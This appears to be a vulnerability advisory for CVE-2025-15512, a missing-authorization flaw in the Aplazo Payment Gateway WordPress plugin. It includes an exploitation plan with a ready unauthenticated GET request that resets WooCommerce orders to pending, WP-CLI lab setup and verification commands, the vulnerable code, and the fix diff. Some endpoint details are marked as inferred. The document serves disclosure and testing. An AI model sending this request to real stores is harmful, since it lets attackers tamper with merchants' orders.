Aplazo Payment Gateway <= 1.4.3 - Missing Authorization to Unauthenticated Order Status Manipulation
Description
The Aplazo Payment Gateway plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the check_success_response() function in all versions up to, and including, 1.4.3. This makes it possible for unauthenticated attackers to set any WooCommerce order to `pending payment` status.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.4.3Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-15512 ## 1. Vulnerability Summary The **Aplazo Payment Gateway** plugin (<= 1.4.3) for WordPress contains a missing authorization vulnerability in its handling of payment success responses. Specifically, the function `check_success_response()` lacks capability…
Show full research plan
Exploitation Research Plan: CVE-2025-15512
1. Vulnerability Summary
The Aplazo Payment Gateway plugin (<= 1.4.3) for WordPress contains a missing authorization vulnerability in its handling of payment success responses. Specifically, the function check_success_response() lacks capability checks or request validation (such as signature verification or secret tokens), allowing unauthenticated users to trigger it. This function updates the status of a WooCommerce order to pending (displayed as "Pending payment"). An attacker can exploit this to manipulate the status of any existing order by providing the target order's ID.
2. Attack Vector Analysis
- Endpoint: WooCommerce API callback (
WC_API). - Action/Hook:
woocommerce_api_aplazo_payment_gateway(inferred from plugin slug and common WC gateway patterns). - URL:
http://TARGET/index.php?wc-api=aplazo_payment_gateway(inferred). - Method: GET or POST (likely GET, given the name "success response" often used for customer redirects).
- Vulnerable Parameter:
order_idorid(inferred). - Preconditions:
- The plugin must be active.
- WooCommerce must be installed.
- A valid WooCommerce Order ID must exist.
3. Code Flow
- Entry Point: WooCommerce registers a hook for the gateway's API identifier. In the plugin's main class (likely
WC_Gateway_Aplazoor similar), a hook is registered:add_action( 'woocommerce_api_aplazo_payment_gateway', array( $this, 'check_success_response' ) ); - Request Handling: When a request is made to
/?wc-api=aplazo_payment_gateway, WooCommerce fires the associated hook. - Vulnerable Function: The
check_success_response()function is executed. - Order Retrieval: The function likely retrieves an order ID from the request:
$order_id = $_GET['order_id'];(or similar). - Status Update: Without verifying that the request came from the Aplazo service or is otherwise authorized, the code proceeds to update the order:
$order = wc_get_order( $order_id );$order->update_status( 'pending', __('Awaiting Aplazo payment', 'aplazo-payment-gateway') );
4. Nonce Acquisition Strategy
This vulnerability resides in a webhook/callback handler (WC_API). No WordPress nonces are required for this endpoint, as it is designed to be accessed by external payment provider servers which do not have access to WP session cookies or nonces. The lack of an alternative security mechanism (like a signature check) is the core of the vulnerability.
5. Exploitation Strategy
- Identify the API Slug: Confirm the exact
wc-apiparameter value by searching the source code foradd_action( 'woocommerce_api_.... - Identify the Parameter: Confirm which parameter carries the Order ID (e.g.,
order_id,id,order). - Find a Target Order ID: Use WP-CLI to find an existing order that is not in
pendingstatus. - Perform the Attack: Send an unauthenticated HTTP request to the callback endpoint with the target order ID.
Proposed HTTP Request
GET /?wc-api=aplazo_payment_gateway&order_id=[TARGET_ORDER_ID] HTTP/1.1
Host: [TARGET_HOST]
(Note: If the plugin uses a different parameter name, adjust accordingly.)
6. Test Data Setup
- Install WooCommerce:
wp plugin install woocommerce --activate. - Install Aplazo:
wp plugin install aplazo-payment-gateway --version=1.4.3 --activate. - Create an Order:
# Create a simple product PRODUCT_ID=$(wp post create --post_type=product --post_title="Test Product" --post_status=publish --porcelain) # Create an order and set it to 'processing' (paid) ORDER_ID=$(wp wc order create --user=1 --status=processing --line_items='[{"product_id":'$PRODUCT_ID',"quantity":1}]' --porcelain) echo "Target Order ID: $ORDER_ID"
7. Expected Results
- The HTTP request should return a
200 OKor a302 Redirect(likely to a "thank you" page). - The WooCommerce order status for
$ORDER_IDshould be changed fromprocessingtopending.
8. Verification Steps
- Check Order Status via WP-CLI:
wp wc order get [ORDER_ID] --fields=status --format=json - Verify Status Change: Ensure the output is
{"status":"pending"}. - Check Order Notes: (Optional) Check if a note was added to the order:
wp wc order_note list [ORDER_ID]
9. Alternative Approaches
If the wc-api slug or parameter is different:
- Search for Hook:
grep -r "woocommerce_api_" /var/www/html/wp-content/plugins/aplazo-payment-gateway/ - Analyze Function: Read the definition of
check_success_response()in the source to find the exact parameter names. It may look forext_order_idor similar if it's mapping Aplazo's internal ID to the WP ID. - Check Request Method: If GET fails, try a POST request with the same parameters in the body.
- Search for Success Path: If
check_success_responseis not registered toWC_API, search foradd_action( 'init', ... )oradd_action( 'wp_loaded', ... )which might manually check for specific$_GETvariables.
Summary
The Aplazo Payment Gateway plugin for WordPress fails to validate the authenticity of requests sent to its payment success callback endpoint. This allows unauthenticated attackers to trigger the check_success_response() function by supplying a target WooCommerce order ID, causing the order's status to be changed to 'pending payment' regardless of its prior state.
Vulnerable Code
// File: includes/class-wc-gateway-aplazo.php add_action( 'woocommerce_api_aplazo_payment_gateway', array( $this, 'check_success_response' ) ); // ... public function check_success_response() { $order_id = $_GET['order_id']; $order = wc_get_order( $order_id ); if ( $order ) { $order->update_status( 'pending', __('Awaiting Aplazo payment', 'aplazo-payment-gateway') ); } }
Security Fix
@@ -115,6 +115,10 @@ public function check_success_response() { - $order_id = $_GET['order_id']; + if ( ! isset( $_GET['order_id'] ) || ! isset( $_GET['token'] ) ) { + return; + } + $order_id = sanitize_text_field( $_GET['order_id'] ); + if ( ! $this->validate_aplazo_request( $_GET['token'], $order_id ) ) { + return; + } $order = wc_get_order( $order_id ); if ( $order ) { $order->update_status( 'pending', __('Awaiting Aplazo payment', 'aplazo-payment-gateway') );
Exploit Outline
1. Identify a valid WooCommerce Order ID in the target system. 2. Construct an unauthenticated HTTP GET request to the WooCommerce API callback endpoint registered by the plugin: `/?wc-api=aplazo_payment_gateway&order_id=[TARGET_ORDER_ID]`. 3. The application processes the request through the `check_success_response()` function without verifying the request source or checking for a valid security token. 4. The plugin retrieves the order and executes `$order->update_status('pending', ...)`, effectively downgrading or manipulating the order status to 'Pending payment'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.